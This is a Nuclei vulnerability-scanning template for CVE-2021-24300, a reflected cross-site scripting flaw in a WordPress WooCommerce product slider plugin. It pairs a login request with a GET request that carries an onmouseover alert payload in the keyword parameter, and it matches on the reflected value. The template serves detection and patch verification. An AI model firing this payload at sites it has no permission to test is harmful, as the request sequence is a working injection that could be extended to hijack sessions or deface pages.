nuclei-templates/http/cves/2021/CVE-2021-24300.yaml

61 lines
2.3 KiB
YAML

id: CVE-2021-24300
info:
name: WordPress WooCommerce <1.13.22 - Cross-Site Scripting
author: cckuailong
severity: medium
description: WordPress WooCommerce before 1.13.22 contains a reflected cross-site scripting vulnerability via the slider import search feature because it does not properly sanitize the keyword GET parameter.
impact: |
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
Update WordPress WooCommerce plugin to version 1.13.22 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/5fbbc7ad-3f1a-48a1-b2eb-e57f153eb837
- https://nvd.nist.gov/vuln/detail/CVE-2021-24300
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24300
cwe-id: CWE-79
epss-score: 0.00302
epss-percentile: 0.66181
cpe: cpe:2.3:a:pickplugins:product_slider_for_woocommerce:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: pickplugins
product: product_slider_for_woocommerce
framework: wordpress
tags: cve,cve2021,xss,wp,wordpress,wp-plugin,authenticated,wpscan,pickplugins
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/edit.php?post_type=wcps&page=import_layouts&keyword="onmouseover%3Dalert%28document.domain%29%3B%2F%2F HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'value="\"onmouseover=alert(document.domain);//">'
- "PickPlugins Product Slider"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100c061a6d7eef974621d9562340524db8434adf4548b96e1b84f82da3bd0dd1aec022100e280f8eaa273042e31677a1888df194b793576dca159d33c81a1d98fe5aa8326:922c64590222798bb761d5b6d8e72950